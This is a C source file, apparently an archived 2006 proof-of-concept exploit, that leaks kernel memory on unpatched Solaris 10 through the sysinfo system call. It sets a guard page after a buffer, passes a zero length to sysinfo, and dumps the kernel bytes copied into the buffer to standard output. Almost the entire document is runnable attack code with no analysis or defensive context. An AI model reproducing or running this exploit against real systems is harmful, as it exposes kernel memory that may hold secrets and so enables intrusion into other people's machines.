61 lines
No EOL
1.1 KiB
C
61 lines
No EOL
1.1 KiB
C
/* 07/2006: public release
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* SPARC Solaris 10 without 118833-09
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* x86 Solaris 10 without 118855-06
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*
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* Solaris sysinfo Kernel Memory Disclosure
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* By qaaz
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <string.h>
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#include <sys/mman.h>
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#include <sys/systeminfo.h>
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#define PAGE_COUNT 1000
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int main(int argc, char *argv[])
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{
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char *buf, *end;
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int pg = PAGE_COUNT, pagesz, bufsz;
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fprintf(stderr,
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"---------------------------------\n"
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" Solaris sysinfo Kmem Disclosure\n"
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" By qaaz\n"
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"---------------------------------\n");
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if (argc > 1) pg = atoi(argv[1]);
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pagesz = getpagesize();
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bufsz = (pg + 1) * pagesz;
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if (!(buf = memalign(pagesz, bufsz))) {
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perror("malloc");
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return -1;
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}
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memset(buf, 0, bufsz);
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end = buf + (pg * pagesz);
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fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
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fflush(stderr);
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if (mprotect(end, pagesz, PROT_NONE)) {
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perror("mprotect");
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return -1;
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}
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sysinfo(SI_SYSNAME, buf, 0);
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while (end > buf && end[-1] == 0)
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end--;
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fprintf(stderr, "== %d\n", (int) (end - buf));
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fflush(stderr);
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if (!isatty(1))
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write(1, buf, (size_t) (end - buf));
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return 0;
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}
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// milw0rm.com [2007-09-01]
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